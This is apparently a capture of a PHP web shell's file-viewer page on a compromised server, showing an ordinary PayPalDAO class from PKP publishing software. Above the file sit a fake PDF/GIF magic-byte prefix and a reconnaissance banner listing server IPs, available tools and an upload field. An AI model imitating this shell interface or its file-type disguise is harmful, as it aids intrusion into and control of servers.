%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/paymethod/paypal/ |
Upload File : |
<?php
/**
* @file plugins/paymethod/paypal/PayPalDAO.inc.php
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2006-2009 Gunther Eysenbach, Juan Pablo Alperin, MJ Suhonos
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @class PayPalDAO
* @ingroup plugins_paymethod_paypal
*
* @brief Operations for retrieving and modifying Transactions objects.
*/
import('lib.pkp.classes.db.DAO');
class PayPalDAO extends DAO {
/**
* Constructor.
*/
function PayPalDAO() {
parent::DAO();
}
/**
* Insert a payment into the payments table
* @param $txnId string
* @param $txnType string
* @param $payerEmail string
* @param $receiverEmail string
* @param $itemNumber string
* @param $paymentDate datetime
* @param $payerId string
* @param $receiverId string
*/
function insertTransaction($txnId, $txnType, $payerEmail, $receiverEmail, $itemNumber, $paymentDate, $payerId, $receiverId) {
$ret = $this->update(
sprintf(
'INSERT INTO paypal_transactions (
txn_id,
txn_type,
payer_email,
receiver_email,
item_number,
payment_date,
payer_id,
receiver_id
) VALUES (
?, ?, ?, ?, ?, %s, ?, ?
)',
$this->datetimeToDB($paymentDate)
),
array(
$txnId,
$txnType,
$payerEmail,
$receiverEmail,
$itemNumber,
$payerId,
$receiverId
)
);
return true;
}
/**
* Check whether a given transaction exists.
* @param $txnId string
* @return boolean
*/
function transactionExists($txnId) {
$result =& $this->retrieve(
'SELECT count(*) FROM paypal_transactions WHERE txn_id = ?',
array($txnId)
);
$returner = false;
if (isset($result->fields[0]) && $result->fields[0] >= 1) $returner = true;
$result->Close();
return $returner;
}
}
?>